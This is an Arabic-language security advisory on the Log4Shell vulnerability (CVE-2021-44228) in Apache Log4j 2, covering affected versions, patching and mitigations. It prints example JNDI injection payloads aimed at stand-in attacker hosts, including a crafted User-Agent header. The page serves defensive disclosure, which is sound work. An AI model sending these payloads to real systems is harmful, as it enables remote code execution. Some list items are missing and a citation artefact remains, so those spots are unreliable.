
CVE-2021-44228
ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Apache Log4j 2، المعروفة على نطاق واسع باسم Log4Shell.
CVE-2021-44228 هي ثغرة RCE حرجة في :contentReference[oaicite:0]{index=0} الإصدار 2.x (قبل 2.15.0)، اُكتشفت في ديسمبر 2021.
تسمح للمهاجمين عن بُعد غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية على الأنظمة الضعيفة بمجرد إرسال مدخلات مُعدة خصيصًا يتم تسجيلها بواسطة Log4j. يؤثر الخلل على عدد لا يُحصى من التطبيقات والخدمات المستندة إلى Java على مستوى العالم.
ينشأ الخلل من معالجة Log4j لـ عمليات بحث JNDI في السلاسل المسجلة. يمكن للمهاجم تضمين مورد JNDI ضار في رسالة مسجلة (مثل LDAP، DNS)، على سبيل المثال:
${jndi:ldap://attacker.com/a}
يقوم Log4j بالتالي:
وهذا يسمح للمهاجم بتحقيق تنفيذ كامل للتعليمات البرمجية عن بُعد (RCE) على الخدمات المتأثرة.
نظرًا لاستخدام Log4j في عدد لا يحصى من المكتبات والتطبيقات، فإن أي نظام يسجل بيانات غير موثوقة قد يكون عرضة للخطر.
الإصدارات التالية من Log4j 2 هي قابلة للاستغلال:
> = 2.0-beta9 و < 2.15.0
بالإضافة إلى ذلك، كانت بعض تكوينات 2.15.0 لا تزال قابلة للاستغلال، لذا فإن 2.16.0 وما بعده هو الأساس الآمن.
قم بالتحديث إلى إصدارات Log4j 2:
2.17.1 أو أحدث
تعمل التصحيحات اللاحقة على تحسين الأمان بشكل أكبر (مثل 2.17.2، 2.19.0، إلخ).
إذا لم يكن الترقية الفورية ممكنة، يمكنك:
log4j2.formatMsgNoLookups=true
JndiLookup من مسار الفئات:
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
تساعد هذه الخطوات في تقليل التعرض حتى تتمكن من التحديث.
استغلال هذه الثغرة سهل للغاية. يحتاج المهاجم فقط إلى إرسال سلسلة مُعدة (عبر رؤوس HTTP، معلمات النماذج، رسائل الدردشة، حقول قاعدة البيانات) يتم تسجيلها بواسطة التطبيق:
User-Agent: ${jndi:ldap://attacker.example/a}
بمجرد تسجيلها، سيقوم التطبيق بإجراء بحث عن بُعد ويمكن إجباره على تنفيذ تعليمات برمجية Java يتحكم فيها المهاجم.
كان لـ Log4Shell تأثير عالمي هائل:
هذه واحدة من أكثر الثغرات أهمية منذ عقود.
يمكنك اكتشاف الأنظمة الضعيفة عن طريق:
${jndi:)إذا كان تطبيقك أو أي مكتبة تستخدمها تعتمد على Log4j 2.x، قم بالتحديث فورًا إلى إصدار مصحح (≥ 2.17.1) وتحقق من تعطيل عمليات بحث JNDI أو إزالتها حيثما أمكن.
| المعيار | التفاصيل |
|---|
| نقاط CVSS v3.1 الأساسية | 10.0 (حرجة) |
| متجه الهجوم | شبكة |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| المصادقة | غير مطلوبة |
| التأثير | RCE كامل |
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2021-44228 |
| اللقب | Log4Shell |
| المنتج | Apache Log4j 2 |
| الخطورة | حرجة (CVSS 10.0) |
| النوع | تنفيذ التعليمات البرمجية عن بُعد |
| التأثير | اختراق كامل للنظام |
| سهولة الاستغلال | سهلة للغاية |
| التخفيف | التصحيح إلى ≥ 2.17.1 |